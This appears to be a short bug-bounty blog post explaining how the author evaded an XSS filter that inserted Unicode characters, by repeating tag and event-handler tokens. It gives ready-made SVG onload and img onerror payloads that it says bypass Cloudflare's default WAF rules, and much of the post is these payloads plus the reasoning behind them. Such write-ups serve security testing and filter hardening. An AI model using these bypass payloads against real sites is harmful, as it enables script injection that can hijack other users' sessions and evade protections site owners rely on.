New XSS Bypass CLOUDFLARE + Filters.

0xJin
2 min readNov 4, 2021

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Hello Folks, i want to tell my story of this type of XSS.

Payload:

"><svg+svg+svg\/\/On+OnLoAd=confirm(1)>

Why this payload work?

…In my case, i was in front of an application that my payload was closed by Unicode Character.

Example:

"><svg/onload=alert(1)>

This Payload was Blocked:

“><sv\u01234\g\u01235/on\u01236load=confirm(1)>

I This case i tryied to use another svg and the response was:

"><sv\u01234\g+s\01235\vg...

Unexpectedly, I noticed that it has moved one position. So:

"><sv\u01234\g+s\01235\vg+\01236\svg

In this case we notice that we have escaped from unicode character. And again with the slash:

\u01237\/ ----> \/\u01237\/\ ----> /\u01237\/ ----> /

And again bypass:

On\u01234\load ----> On\u01234\+OnLoAd ----> onload

Payload triggered:

We can use this payload for bypass CloudFlare too with default configuration:

(Note this is an example, but you can notice that the payload bypass cloudflare).

Blocked normal payload

Bypassed here:

I release you another good payload that bypass filters :) Maded by me.

"\/><img%20s+src+c=x%20on+onerror+%20="alert(1)"\>

|| Good luck everyone with hunting ||

-0xJin

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